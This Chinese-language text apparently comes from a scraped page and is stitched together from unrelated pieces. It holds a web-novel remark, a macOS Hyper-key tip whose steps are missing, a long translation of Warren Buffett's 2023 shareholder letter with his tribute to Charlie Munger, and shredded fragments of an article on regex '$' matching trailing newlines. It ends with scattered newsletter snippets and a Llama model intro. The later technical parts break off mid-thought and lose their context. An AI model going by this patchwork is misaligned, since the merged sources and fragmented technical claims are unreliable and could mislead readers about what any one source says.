不管怎样,如果作者最后有结尾的话,我希望是花团锦簇,开心就好,平平淡淡或者略带惆怅也行。总之,一部好的网文就应该像滋味不错的香辣鸡腿堡。
Hyper 键是一种在 macOS 上常用的键盘快捷方式技巧,具有以下特点:
⇧ Shift + ⌃ Control + ⌥ Option + ⌘ Command
组合成一个单一的修饰键。总的来说,Hyper 键为 macOS 用户提供了一种灵活且强大的方式来扩展键盘快捷方式的可能性,提高工作效率。因为它是全新的修饰键,所以它不会和其它快捷键冲突。特别是,它不会和系统默认的快捷键冲突。
要将 macOS 键盘右侧的 Control 键设置为 ⇧ Shift + ⌃ Control + ⌥ Option + ⌘ Command
,可以使用第三方软件如 Karabiner-Elements。以下是步骤:
这样,右侧的 Control 键将被绑定为 ⇧ Shift + ⌃ Control + ⌥ Option + ⌘ Command
参考
查理·芒格于11月28日逝世,距离他的百岁生日仅33天。
虽然他在奥马哈出生、长大,但是他人生80%的时间是在其他地方。1959年他35岁时我才与他结识。1962年,他决定从事资金管理工作。
三年后他(非常正确地!)告诉我:控股伯克希尔是个愚蠢的决定。但是同时他向我保证,既然我已经迈出这一步,他会指导我改正我的错误。
我当时管理着一家小型的投资合伙企业,通过该企业收购了伯克希尔。请记住查理和他的家族在我的投资合伙企业中没有一分钱投资,另外,我们从未想过查理将会持有伯克希尔的股票。
1965年查理立刻向我建议:“沃伦,别再想着买入伯克希尔这类公司了。不过既然你已经控股伯克希尔,可以通过它以合理价格收购优秀的企业,放弃用便宜的价格收购一般的企业。换句话说,抛弃你从你的英雄本·格雷厄姆那里学到的一切,他的理论只在规模比较小的时候才有效。”从此以后,我不断听从他的指示。
许多年后查理成为我的合伙人,我们共同运营伯克希尔。当我的老习惯一浮现出来,他总是给我当头棒喝。他在去世之前都扮演着这个角色。我们和早期投资我们的人一起,取得的成就超越了查理和我的梦想。
查理是如今的伯克希尔的“缔造者”,而我是“包工头”,日复一日地实现他的愿景。
查理从来没有为自己的角色寻求荣誉,反而总是让我走上台领奖。他于我既是兄长又是慈父。
即使他知道自己是对的,仍然会将缰绳交给我,在我犯错误时,他从不——从不——指责我。
现实世界中伟大的建筑总是和它们的缔造者联系在一起,而那些浇灌混凝土、安装玻璃窗的人很快就被遗忘。伯克希尔已经是伟大的公司,虽然我长期负责施工队伍,查理才应永远享有缔造者的荣耀。
致伯克希尔哈撒韦公司股东:
伯克希尔拥有超过300万个股东账户。我负责每年给这个多元且不断变化的股东群体写一封信,帮助他们更进一步了解自己的投资。
查理·芒格几十年来和我一起管理伯克希尔,他同样赞同并期待我今年循例和大家交流沟通。在对伯克希尔股东的责任上,我们的意见完全一致。
* * * * * * * * * * * *
作家们发现描绘他们寻求的读者群非常有帮助,并且他们总是希望吸引大量的读者。伯克希尔的目标群体更有限:那些信任伯克希尔的投资者,从未期待买进卖出的投资者(态度上类似那些为购买农场或者出租房产而存钱的人,而不是那些用超额资金购买彩票或者“热门”股票的人)。
多年来伯克希尔吸引了数量非同寻常的“终身”股东以及他们的继承者。我们珍惜这些股东,并相信他们有权每年直接由CEO提供好消息和坏消息,而不是由投资关系官员或者沟通顾问永远提供乐观和糖浆。
在想象伯克希尔寻求的股东时,我很幸运有一个完美的心智模型,也就是我的妹妹伯蒂(Bertie)。下面我介绍一下她。
伯蒂聪明、睿智、并且喜欢挑战我的思维。然而我们从来没有吵过架,也没有任何接近破裂的关系,我们永远都不会那样。
伯蒂和她的三个女儿用很大一部分积蓄购买了伯克希尔的股票。这种所有权跨越了几十年时间,并且伯蒂每年都会读我的信。我的工作就是预测她的问题,并给她诚实的回答。
伯蒂和各位大多数人一样,理解很多会计术语,但不足以参加注册会计师考试。她关注商业新闻——每天阅读四份报纸——但并不认为自己是经济专家。她很明智——非常明智——本能地知道,应该永远忽视权威人士。毕竟,如果她能可靠地预测明天的赢家,她会自由地分享这珍贵的洞见、从而增加竞争性购买吗?这就像找到了金矿,然后把指示金矿位置的地图交给邻居。
伯蒂了解激励(无论是好还是坏)的力量、人性的弱点、以及观察人类行为时可以识别的“线索”。她知道谁在“推销”以及谁可以信任。简而言之,她不会被愚弄。
那么,今年伯蒂会对什么感兴趣?
我们从数字开始。官方年度报告从K-1开始,长达124页,内涵大量的信息——一些比较重要,一些比较琐碎。
在这些披露的信息中,许多股东和财经记者将重点关注K-72页。该页众所周知的“底线”被标记为“净收益(亏损)”,2021年为900亿美元,2022年(230亿美元)以及2023年960亿美元。
到底发生了什么事?
各位寻求指导,并且被告知:计算这些收益的程序由一个冷静且有资格证书的财务会计准则委员会(“FASB”)颁布、由一个敬业且勤奋的证券交易委员会(“SEC”)授权、最后由德勤(“D&T”)世界级的专家审计。德勤在K-67页毫不留情地指出:“在我们看来,财务报表……在所有重大方面(用斜体字)公平地反应了公司的财务状况……以及运营结果……截至2023年12月31日止的三年期间的每一年……”。
简直超凡入圣!这个原本平平无奇的“净收入”迅速地通过互联网和媒体传遍了全球。各方都认为自己完成了工作——从法律上讲,的确如此。
然而我们却感到不舒服。伯克希尔的观点是:“收益”应该是朴实和舒适的概念,伯蒂依据它——但只是作为一个起点——评估企业时有些帮助。相应的,伯克希尔也会向伯蒂和各位报告我们所谓的“运营收益”,以下就是这些收益:2021年276亿美元、2022年309亿美元、以及2023年374亿美元。
强制性数据与伯克希尔偏好的数据之间的主要区别在于:我们排除了每天可能超过50亿美元的未实现资本利得或者损失。讽刺的是,我们偏好的数据一直以来就是规矩,直到2018年被强制执行这项“改进”。几个世纪前伽利略的经历告诉我们,不要违抗上层的意志,但是伯克希尔固执己见。
* * * * * * * * * * * *
毫无疑问资本利得非常重要:我预计它们将成为伯克希尔未来几十年价值增长的重要组成部分。否则为什么我们要将各位(以及伯蒂)的大笔资金投入流通股上,就像我整个投资生涯用自己的资金一直做的那样?
自1942年3月11日——我第一次购买股票的日期——以来,我的净资产在任何时间段都是大部分投资于股票,投资于美国股票。到目前为止都还不错。1942年我“扣动扳机”的那一天,道琼斯工业平均指数跌破了100点,放学的时候我只剩下5美元。很快就出现了转机,现在该指数徘徊在38000点左右。美国是对投资者极好的国家,他们只需要静静地坐着,对任何建议都置若罔闻。
基于“收益”来判断伯克希尔的价值实在是太糊涂了,因为收益包含了股市日复一日,是的,也是年复一年的反复无常的波动。本·格雷厄姆教导我:“短期内市场就像一台投票机;长期而言市场会变成一台称重机”。
伯克希尔的目标很简单:我们希望控股或者持有具备良好经济基础和持久性的企业。资本主义制度下一些企业将长期繁荣发展,而其他企业将深陷泥潭。极其难以预测究竟谁是赢家、谁是输家。那些声称知道答案的人通常要么是自欺欺人,要么是骗人的推销员。
伯克希尔特别青睐那些部署额外资本以获取未来高回报的罕见企业。仅仅拥有其中一家这样的企业——然后坐着啥也不干——就能获得几乎无法估量的财富。甚至这种财富的继承人——啊!——有时也能一辈子悠闲度日。
我们也希望这些受青睐的企业是由有能力、值得信赖的经理人管理,不过这更难做出判断,而且伯克希尔也有过失望的时候。
1863年美国第一任审计长休·麦卡洛克(Hugh McCulloch)给所有的州银行写了一封信,信中他警告:“不要和流氓打交道,不要期望自己能防止流氓欺骗你”。许多银行家自以为能“管理”流氓问题,他们已经从麦卡洛克先生的建议中学到了智慧——我也是。人心隔肚皮,真诚和同理心很容易被伪装,现在和1863年一样如此。
具备我所描述的两种必备条件的企业长期以来一直是我们收购的目标,有一段时间我们有很多候选者需要评估。如果我错过了一个——并且我错过了很多个——另一个总会出现。
那些日子早已过去了。规模让我们吃亏,并且收购的竞争越来越激烈也是另一个因素。
目前伯克希尔拥有美国企业中最高的——遥遥领先——GAAP净资产。创纪录的营业收入以及强劲的股票市场使公司的年终业绩达到5610亿美元。2022年其他499家标普成分企业——美国名牌企业录——总GAAP净值是8.9万亿美元。(标普2023年的数据尚未统计,但不太可能大幅超过9.5万亿美元。)
按照这个计算,伯克希尔占据大约6%的份额。我们庞大的基数不可能,比如在五年之内,翻一倍,特别是因为我们强烈反对发行股票(这会立刻增加净值)。
这个国家只剩下少数公司能真正推动伯克希尔的发展,而我们和其他人一直在不断挑选它们。有些我们可以估价,有些则不能。如果我们估价,那它们的价格必须具有吸引力。美国之外基本没有对伯克希尔的资本配置有意义的候选者。总之,我们现在不可能有令人瞠目结舌的表演。
尽管如此,管理伯克希尔还是、总是非常有趣。积极的一面是,公司经过59年的组合,现在持有或者100%控股的各种业务在加权基础上,比现存大多数美国企业的前景要好一些。在运气和勇气的双重作用下,几十个决策中出现了几个巨大的赢家。我们现在有一小部分长期管理者,他们从不考虑跳槽去其他地方,并且将65岁视为又一个生日。
* * * * * * * * * * * *
伯克希尔受益于非同寻常的忠诚和清晰的目标。我们强调善待员工、社区和我们的供应商——谁不希望这么做呢?——我们将永远效忠于我们的国家和股东。我们永远不会忘记,虽然各位的钱和我们的钱混在一起,但它并不属于我们。
除了聚焦于此,再加上我们目前的各类业务组合,伯克希尔理应比一般的美国企业做得好一点。更重要的是,运营中的资本永久损失风险也应该会大大降低。不过,任何超出“稍微好一点”的愿望都是一厢情愿。当伯蒂全部押注伯克希尔的时候,这种谦卑的愿望并非如此——但目前的确如此。
市场和(或)经济偶尔会导致一些基本面良好的企业的股票和债券出现惊人的错误定价。市场会——也必将——不可预测地停止运转,甚至消失不见,就像1914年的4个月和2001年的几天那样。如果各位认为现在的美国投资者相比过去更稳定,那请回想一下2008年9月的情况。通信速度和技术奇迹有可能瞬间就使全球瘫痪,而且自烟雾信号发生以来,我们已经走过了漫长的道路。这种瞬间的恐慌不会经常发生——但是将会发生。
伯克希尔能够以巨额资金和业绩的确定性迅速对抗市场的动荡,这种能力偶尔给我们提供了大规模的机会。虽然股票市场比我们早年要大得多,但是相比我读书的时候,如今的活跃参与者即没有更稳定,也没有接受更好的教育。不管出于什么原因,现在的市场表现比我年轻时更像赌场。赌场现在也存在于许多家庭中,并且每天都在诱惑住户。
要永远记住理财生活中的一个事实。华尔街——用这个词的比喻意义——希望它的客户赚钱,但真正让它的居民热血沸腾的是狂热的活动。任何可以被推销的愚蠢事物总是会被大力推销——不是每个人都这么做,但总有人这么做。
场面偶尔会变得难看。政客们被激怒了;最臭名昭著的罪犯逍遥法外,富有且不受惩罚;而你隔壁的朋友变得困惑、贫穷、甚至意图报复社会,他学到的教训是:金钱压倒了道德。
伯克希尔有一条规则坚如磐石:永远不要冒资本永久损失的风险。多亏了美国的顺风和复利的力量,如果各位在一生中做出了几个正确的决定,并且避免了严重的错误,那我们经营的竞技场总会——而且将会——有回报的。
* * * * * * * * * * * *
我相信伯克希尔能够应对前所未有的金融灾难。我们不会放弃这种能力。经济发生动荡时(总会发生),伯克希尔的目标是像一笔国家资产一样发挥作用——就像它在2008-09年以一种非常微小的方式发挥作用——并且帮助扑灭金融大火,而不是成为众多有意或者无意点燃大火的公司之一。
我们的目标非常现实。伯克希尔的优势来自于扣除利息成本、税收和大量折旧以及摊销费用后的尼加拉瓜大瀑布般的多元化收益(伯克希尔内部禁止使用“EBITDA”计算方式)。即使国家遭遇长期的全球经济疲软、恐惧、以及近乎瘫痪,我们仍然能够以最低的现金需求运营。
伯克希尔目前不支付股息,股票回购也是100%可自由支配。每年到期的债务微乎其微。
公司持有的现金和短期国债头寸也远远超过传统观点所认为的必要水平。2008年的恐慌中,伯克希尔从运营中获得现金,并且没有以任何方式依赖商业票据、银行贷款或者债券市场。我们并没有预测经济瘫痪的时间,但我们总是为此做好准备。
极端财政保守主义是我们向伯克希尔的股东们做出的企业誓约。在多数年份——实际是多数的几十年——我们的谨慎可能会被证明是不必要的,类似于防火的堡垒式建筑的保险单。伯克希尔不希望对伯蒂或者任何将存款托付给我们的个人造成永久性的财务损失(股价长时间缩水是无法避免的)。
伯克希尔长盛不衰。
去年我提到了伯克希尔两个长期的部分所有权头寸——可口可乐和美国运通。它们不像我们在苹果上的头寸投入那么巨大,每家仅占伯克希尔GAAP净值的4~5%。但是它们是有意义的资产,同时也说明了我们的思考过程。
美国运通于1850年开始运营,可口可乐1886年在亚特兰大的一家药店上市。(伯克希尔不看好新手。)两家公司多年来都尝试向不相关的领域扩张,但都没有取得成功。过去——肯定不是现在——两家都甚至管理不善。
2023年我们没有买卖美国运通和可口可乐的股票——延续了我们已经持续20多年的瑞普·凡·温克尔式沉睡。两家公司去年都通过增加收益和支付股息来回报我们的不作为。实际上我们在2023年持有美国运通获得的收益远超过很久以前我们买入时花费的13亿美元成本。
2024年美国运通和可口可乐几乎肯定会增加股息——美国运通的股息大约是16%——并且我们几乎肯定全年保持持股不变。我能创造出比这两家更好的全球业务吗?正如伯蒂所言:“不可能”。
虽然2023年伯克希尔没有购买这两家的股票,但由于伯克希尔的股票回购,去年各位对可口可乐和美国运通的间接所有权都增加了少许。这样的回购增加了各位在伯克希尔每一项资产的参与度。对于这个显而易见但经常被忽视的事实,我要加上我一贯以来的告诫:所有的股票回购都应当与价格挂钩。股价低于商业价值的情况下回购是明智的,股价高于商业价值的情况下回购就太傻了。
从可口可乐和美国运通的投资中能学到什么?当你找到一个真正好的生意时,坚持下去。耐心会有回报,一桩精彩的生意可以抵消许多不可避免的平庸决策。
* * * * * * * * * * * *
今年我想介绍另外两项我们预计将永久持有的投资。与可口可乐和美国运通一样,这些投资相对于我们的资源而言并不算大,然而它们是值得的,并且我们在2023年增加了它们的头寸。
截止年底,伯克希尔持有西方石油(Occidental Petroleum)27.8%的普通股,并持有认股权证,在超过五年的时间内可以选择以固定价格大幅增加我们的所有权。虽然我们非常喜欢我们的所有权和期权,但是伯克希尔无意收购或者管理西方石油。我们特别喜欢它在美国的大量石油和天然气资产,以及它在碳捕获倡议方面的领导地位,尽管这项技术的经济可行性尚未得到证实。这些都非常符合我国的利益。
不久前美国还严重依赖外国石油,碳捕捉也没有什么有意义的支持者。事实上,1975年美国的产量是每天800万桶石油当量(barrels of oil-equivalent per day,“BOEPD”),这个水平远远低于国家的需求。二战期间,美国在能源方面的有利地位促进了美国的动员,但是现在已经退缩到严重依赖外国(可能不稳定)的能源供应商。预计石油产量会进一步下降,而需求会进一步上升。
很长时间以来这种悲观情绪似乎是正确的,2007年产量下降到500万BOEPD。美国政府在1975年建立了战略石油储备(Strategic Petroleum Reserve,“SPR”),以缓解——尽管还没有接近消除——对美国自给自足的侵蚀。
然后——哈利路亚!——页岩经济在2011年变得可行,我们的能源依赖结束了。美国现在的产量超过1300万BOEPD,欧佩克再也不占据上风。西方石油每年在美国的石油产量几乎与SPR的全部库存相当。如果国内石油产量保持在500万BOEPD,我们的国家今天会非常非常紧张,而且会严重依赖非美国石油来源。 在这个水平上,如果无法获得外国石油,SPR将在几个月内清空。
在薇琪·霍鲁布(Vicki Hollub)的领导下,西方石油正在为自己的国家和股东做正确的事情。没有人知道油价在未来一个月、一年或十年的走势,但薇琪确实知道如何从岩石中分离石油,这是一项不寻常的才能,对她的股东和她的国家都很有价值。
* * * * * * * * * * * *
此外,伯克希尔继续持有五家非常大的日本公司的被动和长期权益,这些公司都是以高度多元化的方式运营,与伯克希尔本身的运营方式有些相似。我和格雷格·阿贝尔去年前往东京与这五家公司的管理层交流后,我们增持了它们的股票。
伯克希尔在这五家公司每家都持有9%的股份。(小提示:日本公司计算流通股的方式与美国不同。)伯克希尔同时向每家公司承诺:不会买入导致持股超过9.9%的股票。我们买入这五家公司的成本是1.6万亿日元,年终市值是2.9万亿日元。然而近年来日元贬值,我们年底未实现的美元收益为61%,即80亿美元。
格雷格和我都认为我们无法预测主要货币的市场价格,我们也不相信能雇用有这种能力的人。因此伯克希尔用1.3万亿日元的债券收益为其大部分日本头寸提供资金。这笔债券在日本受到了热烈欢迎,而且我相信伯克希尔持有的日元计价未偿债务比其他任何一家美国公司都要多。日元贬值为伯克希尔带来了19亿美元的年终收益,根据GAAP规则,这笔金额在2020-23年期间定期计入收入。
在某些重要的方面,这五家公司——伊藤忠商事(Itochu)、丸红(Marubeni)、三菱(Mitsubishi)、三井(Mitsui)以及住友(Sumitomo)——都遵循对股东友好的政策,这些政策远远优于美国的惯例。自我们买入日本股票以来,它们都以诱人的价格减少了流通股的数量。
与此同时,这五家公司的管理层对自身薪酬的要求远没有美国典型的那么激进。还要注意的是,每家公司都只将约1 / 3的收益用于股息。这五家公司留存下来的大笔资金,既用于建立自己的众多业务,也在较小程度上用于回购股票。与伯克希尔一样,这五家公司也不愿发行股票。
伯克希尔获得的另一个好处是:我们的投资可能为我们带来与全球五家管理良好、受人尊敬的大型公司合作的机会。他们的利益比我们的广泛得多。日本的CEO们也很欣慰地了解到,伯克希尔将永远拥有巨大的流动资源,无论这些合作伙伴的规模有多大,都可以立即获得这些资源。
我们于2019年7月4日在日本开始买入。考虑到伯克希尔目前的规模,通过公开市场建立头寸需要很大的耐心和较长时间的“友好”价格。这个过程就像让一艘战舰转弯,这是伯克希尔早期没有遇到的一个重要劣势。
我们每个季度都会发布一份新闻稿,以类似于下面所示的方式报告我们的综合经营收益(或亏损)。以下是全年汇编:
在2023年5月6日伯克希尔的年会上,我介绍了当天凌晨发布的第一季度业绩。接下来我对全年的展望做一个简短的总结:(1)大部分非保险业务在2023年面临较低的收益;(2)两家最大的非保险业务——BNSF和伯克希尔哈撒韦能源(Berkshire Hathaway Energy,“BHE”)——的良好业绩将缓解这一下滑,这两家公司2022年的营业收益合计占比超过30%;(3)投资收入肯定会出现实质性增长,伯克希尔持有的巨额美国国债头寸终于开始带来远高于之前微薄收入的回报;(4)保险业可能会表现良好,一方面是因为其承保收益与经济其他领域的收益无关,另一方面财产意外险价格已经走强。
保险业如愿以偿,但是我对BNSF和BHE的预期都错了。下面我们分开来看看。
* * * * * * * * * * * *
铁路对美国经济的未来至关重要。从成本、燃料使用量和碳排放强度来衡量,这显然是将重型物料运往遥远目的地的最有效方式。卡车赢在短途运输,但许多货物必须运送到数百甚至数千英里以外的客户那里。这个国家离不开铁路,并且铁路行业永远有巨大的资金需求。与大多数美国企业相比,铁路确实吞噬资本。
覆盖北美的六大铁路系统中BNSF是最大的系统。我们的铁路拥有23759英里的主干线、99条隧道、13495座桥梁、7521台机车和其他各种固定资产,资产负债表上的资产总额为700亿美元。我猜测复制这些资产至少需要5000亿美元,完成这项工作需要数十年。
自14年前收购以来,BNSF超出GAAP折旧费用的支出总额达到了惊人的220亿美元,即每年超过15亿美元。哎哟!除非我们定期增加BNSF的债务,否则BNSF支付给伯克希尔的股息将经常大大低于BNSF公布的收益。我们不打算这么做。
伯克希尔基于收购价格获得了可接受的回报,尽管可能比账面的要少,而且在资产重置价值上也有少许回报。我或伯克希尔董事会对此并不意外。这解释了为什么2010年我们收购BNSF的成本仅相当于其重置价值的一小部分。
北美的铁路系统单程长途运输大量的煤炭、粮食、汽车、进出口货物等,而回程往往会有收入问题。极端的天气条件经常妨碍甚至阻碍轨道、桥梁和设备的效用。洪水可能是一场噩梦。这些都是家常便饭。虽然我坐在一间总是很舒适的办公室里,但铁路运输是一项户外活动,许多员工在艰难、有时甚至危险的条件下工作。
一个不断演变的问题是越来越多的美国人不愿意在一些铁路运营部门从事艰苦、并且往往是孤独的工作。工程师们必须面对这样一个事实:在3.35亿美国人口中,一些孤立无援或精神失常的美国人选择躺在一列有100节车厢、极其沉重的火车前自杀,这列火车的刹车距离通常超过一英里。你想成为那个无助的工程师吗?这种创伤在北美大约每天发生一次,它在欧洲更为普遍,并将永远伴随着我们。
铁路行业的工资谈判最终可能由总统和国会决定。此外,美国铁路每天被迫运输大量避之唯恐不及的危险物品。“公共承运人(common carrier)”一词定义了铁路的责任。
由于去年营收下降,BNSF盈利下滑幅度超出了我的预期。尽管燃料成本也有所下降,但华盛顿公布的工资涨幅远远超出了本国的通胀目标,这种差异可能会在未来的谈判中再次出现。
尽管BNSF运输的货物和资本支出比北美其他五大铁路公司中的任何一家都多,但自我们收购以来,它的利润率相对于其他五大铁路公司都有所下滑。我相信我们广阔的服务领域首屈一指,因此我们的相对利润率可以而且应该提高。
我尤其为BNSF对美国的贡献感到自豪,也为那些在北达科他州和蒙大拿州冬季零度以下从事户外工作的人感到自豪,他们让美国的商业动脉保持畅通。铁路在运营时不会受到太多关注,但如果没有铁路,整个美国都会立即注意到这一真空。
一个世纪后,BNSF将继续成为美国和伯克希尔的主要资产。各位可以相信这一点。
* * * * * * * * * * * *
我们去年第二个、甚至是最严重的收益失望是在BHE。其大部分大型电力公用事业业务、以及庞大的天然气管道表现大致如预期。但一些州的监管环境已经引发了零盈利甚至破产的幽灵(这是加州最大公用事业公司的实际结果,也是夏威夷目前面临的威胁)。在这样的司法管辖区,很难预测曾经被认为是美国最稳定的行业之一的收益和资产价值。
一个多世纪以来,电力公司通过各州承诺固定的股本回报率(有时会因为业绩优异而获得少量奖金)筹集巨额资金,为其增长提供财务支持。通过这种方式,对未来几年可能需要的产能进行了大规模投资。这一前瞻性规定反映了一个现实,即公用事业公司往往需要多年时间建设发电、输电资产。2006年BHE在西部多州启动大规模输电项目,还需要几年时间才能完成。最终它将服务于10个州,覆盖30%的美国大陆面积。
私人和公共电力系统都采用了这种模式,即使人口增长或工业需求超出预期,电力也不会中断。“安全边际”方法似乎对监管机构、投资者和公众来说都很明智。现在有几个州打破了固定但令人满意的回报协议,投资者开始担心这种破裂可能会蔓延。气候变化增加了他们的担忧。(未来)有可能要求采用地下输电,但是有谁愿意提前几十年为这种建设支付惊人的费用呢?
伯克希尔对已经发生的损失做了最好的估计,森林火灾引发了这些损失。森林火灾的频率和强度已经增加,如果对流风暴变得更加频繁,它们可能会继续增加。
我们还需要很多年才能弄清楚BHE在森林火灾中的最终统计结果,并明智地做出未来在脆弱的西部各州投资的决策。其他地方的监管环境是否会发生变化还有待观察。
其他电力业务也有可能面临与太平洋天然气和电力公司(Pacific Gas and Electric)和夏威夷电力公司(Hawaiian Electric)类似的生存问题。对我们目前的问题采取没收充公的解决方案显然对BHE不利,但该公司和伯克希尔的结构都能承受负面的意外情况。我们在保险业务中经常遇到这种情况,我们的基本产品是风险承担,任何地方都可能发生这些风险。伯克希尔可以承受财务上的意外,但我们不会明知事情变坏后还往里砸钱。
无论伯克希尔的情况如何,公用事业行业的最终结果可能前途未卜:某些公用事业可能不再吸引美国公民的储蓄,并且将被迫采用公共电力模式。内布拉斯加州在20世纪30年代做出了这样的选择,现在全国各地都有许多公共电力运营。最终,选民、纳税人和用户将决定他们更喜欢哪种模式。
尘埃落定后,美国的电力需求以及随之而来的资本支出将令人震惊。我没有预料到、甚至没有考虑到监管回报的不利发展,伯克希尔在BHE的两家合作伙伴和我为此犯下了代价高昂的错误。
* * * * * * * * * * * *
问题到此为止了:我们的保险业务去年表现异常出色,销售额、浮存金和承保利润都创下了纪录。财产意外保险(“P/C”)是伯克希尔健康和增长的核心。我们已经经营了57年保险业务,尽管销售额增长了近5000倍——从1700万美元增长到830亿美元——我们还有很大的增长空间。
除此之外,我们经常痛苦地学到关于应该避开哪些保险业务以及避开哪些人的经验教训。最重要的教训是:我们的承保人可以是瘦的、胖的、男的、女的、年轻的、年老的、国外的或国内的,但他们在办公室里不能是乐观主义者,不管生活中的质量通常多么令人向往。
P/C行业里的意外——这可能在六个月或一年期保单到期几十年后才出现——几乎总是负面的。行业的会计核算旨在认识到这一现实,但估值依然有巨大的错误。当涉及到骗子时,察觉过程往往又慢又费钱。伯克希尔一直试图准确估计未来的赔付金额,但通胀——包括货币和“法律”两方面——始终是不确定因素。
我已经讲过很多次我们保险业务的故事,所以我将直接把新来者介绍到第18页。在此我只想重申,如果1986年阿吉特·贾因没有加入伯克希尔,我们不会有现在的地位。在那幸运日——除了1951年初与GEICO开启的一段几乎难以置信的、永远不会结束的美好经历——之前,我基本上是在荒野中徘徊,努力建立我们的保险业务。
阿吉特自加入伯克希尔以来取得的成就,得到了我们各种P/C业务中一大批才华横溢的保险高管的支持。大多数媒体和公众都不知道他们的名字和长相。然而伯克希尔的经理阵容对于P/C保险来说,就像库珀斯敦[1](Cooperstown)的获奖者对于棒球运动一样。
伯蒂,你可以很高兴地看到,你拥有一部分令人难以置信的P/C业务:现在在全球运营,拥有无与伦比的财务资源、声誉和人才。
这项业务在2023年非常成功。
来参加2024年5月4日的伯克希尔年度股东大会吧。各位在舞台上会看到三位经理,他们现在承担着管理公司的主要责任。你可能会想,这三位有什么共同之处?他们的长相肯定不一样,其他的就深入挖掘吧。
负责伯克希尔所有非保险业务的格雷格·阿贝尔在加拿大出生和成长(他现在还玩冰球),从各方面看他已经为明天担任伯克希尔的CEO做好了准备。1990年代格雷格在奥马哈离我几个街区远的地方生活了六年,那段时间里我从来没有见过他。
阿吉特·贾因在印度出生、长大、以及接受教育,大约十年前他和家人住在奥马哈,离我家大约一英里左右(我从1958年开始就一直住在那里)。阿吉特和他的妻子廷库(Tinku)都有很多奥马哈的朋友,尽管他们搬到纽约已经有三十多年了(纽约是再保险业务的主要活动地)。
今年查理将缺席舞台。他和我都出生在奥马哈,离五月聚会地方大约两英里。他十岁以前住的地方距离伯克希尔长期以来的办公室只有半英里远。查理和我的童年都在奥马哈公立学校度过,奥马哈的童年给我们留下了不可磨灭的影响。然而我们直到很久以后才见面。
在公司层面上,伯克希尔于1970年从在新英格兰居住了81年的地方搬迁到奥马哈定居,把麻烦抛在身后,在新家蓬勃发展。
作为“奥马哈效应”的最后一个标点符号,伯蒂——是的,就是伯蒂——早年生活在奥马哈的一个中产阶级社区,几十年后她成为了美国最伟大的投资者之一。
各位可能以为她把所有的钱都投到了伯克希尔,然后干脆坐着不动。但事实并非如此。1956年组建家庭后,伯蒂在经济上活跃了20年:她持有债券,将1/3的资金投资于一家公开持有的共同基金,并经常交易股票。一直没有人注意到她的潜力。
1980年46岁的伯蒂完全没有考虑老哥的催促,她决定做出改变,只保留了共同基金和伯克希尔股票,在接下来的43年里没有进行任何新的交易。她在此期间变得非常富有,甚至捐出大笔慈善捐款(9 位数)之后仍然很富有。 数以百万计的美国投资者可以考虑跟随她的思考,其中只涉及她小时候在奥马哈不知何故吸收的常识。伯蒂不冒任何风险,每年五月都会回到奥马哈,重新焕发活力。
* * * * * * * * * * * *
那么到底是怎么回事呢?是奥马哈的水吗?是因为奥马哈的空气吗?是某种奇怪的行星现象,类似于产生牙买加短跑运动员、肯尼亚马拉松运动员或俄罗斯国际象棋专家的现象吗?我们必须等到人工智能某天给出这个谜题的答案吗?
保持开放的心态。五月来奥马哈吧,呼吸这里的空气、喝这里的水、跟伯蒂和她漂亮的女儿们打个招呼。谁知道呢?这没有坏处,无论如何各位会度过一段美好的时光,遇到一大群友好的人。
最重要的是,我们将推出第四版《穷查理宝典》。买一本吧,查理的智慧将改善你的生活,就像它改善了我的生活一样。
2024年2月24日 沃伦·E·巴菲特
董事会主席
[1] 易注:库珀斯敦是美国棒球名人堂和博物馆所在地。
re
)开发 CPython 的 SBOM 工具时发现的一个令人惊讶的行为。^
表示 “字符串开始”,并相应地将 $
视为 “字符串结束”。因此认为, cat$
模式会匹配字符串 "lolcat"
,但不会匹配 "internet cat video"
。^
的行为让我认为 $
也是类似的,但这并不一定成立,而且这种行为取决于不同编程语言及其写法。$
字符不仅可以匹配字符串的末尾,还可以匹配字符串末尾的换行符。$
是做不到的!我本以为禁用多行模式后,就不会有这种匹配换行符的行为,但事实恰恰相反。re.MULTILINE
来启用多行模式,文档的描述如下:当指定
re.MULTILINE
时,模式字符'$'
会匹配字符串末尾以及每一行末尾(包含换行符)。默认情况下,’$’ 只匹配字符串末尾以及字符串末尾的换行符之前(如果有的话)。
模式匹配 “cat\n”? | “cat$” 多行模式 | “cat$” 无多行模式 | “cat\z” | “cat\Z” |
---|---|---|---|---|
PHP | ✅ | ✅ | ❌ | ✅ |
ECMAScript | ✅ | ❌ | ⚠️ | ⚠️ |
Python | ✅ | ✅ | ⚠️ | ❌ |
Golang | ✅ | ❌ | ❌ | ⚠️ |
Java 8 | ✅ | ✅ | ❌ | ✅ |
.NET 7.0 | ✅ | ✅ | ❌ | ✅ |
Rust | ✅ | ❌ | ❌ | ⚠️ |
"cat\n"
匹配"cat\n"
不匹配$
,都能匹配成功;但如果不想匹配换行符,事情就会变得复杂起来。\z
。而在 Python 中,你需要使用 \Z
,在 ECMAScript 中使用非多行模式的 $
。我比较在意的回报有两类,而且希望能同时得到,一类是关注量、阅读量、star 数、点赞量等等数据带来的精神鼓舞,另一类是广告/恰饭带来的实实在在的金钱。
回到周刊变现的话题,因为第一类回报,所以我不打算做私密性周刊,不打算用订阅制,不打算收会员费;因为第二类回报,所以我会坚持探索挣钱之道。
nohup cmd &
命令的弊端)。Great Tables
库创建更美观好用的表格。TypeError
,这是为什么呢?在这个过程中,Python 内部是如何执行的呢?文章解答了这个问题,原因跟__hash__()
魔术方法有关。$ interpreter
,即可以通过终端中类似 ChatGPT 的界面与 Open Interpreter 聊天。(star 47.1K)昨晚看了点比较有意思的东西,于是决定写一篇文章简单讲一下。
本文致力于概括我对计算机界三个重要思想的体会和认识。我希望做的并不是简单的百科全书式的列举(“A
体现了抽象思想;B
体现了分层思想…”),而是从这些思想中选取几个我个人较有体会(或者是我单纯觉得十分有趣)的侧面拿来细讲。这些侧面仅仅能覆盖这些思想应用范围中十分微小的一部分,它们并不是最有代表性的、亦非最为重要的——仅仅因为,我个人对这点侧面有些体会,或者我个人认为它比较有趣而已。
同样需要强调,和本博客大多数文章一样,本文个人意见色彩浓厚——本文并不客观,更绝不权威。
为方便行文,文中提到的大量引述来源不会标号、也不会在文中注明。关于攥写时参考的资料,请参见文末 “参考文献”。
去年 2 月 24 日,Facebook 的母公司 Meta AI 推出 Llama 语言模型,该模型完全使用公开可用的数据集进行训练,拥有 70 亿到 650 亿个参数,包括 7B
、13B
、30B
和 65B
四个版本,可以进行本地部署和微调训练,非常适合个人和中小型企业。
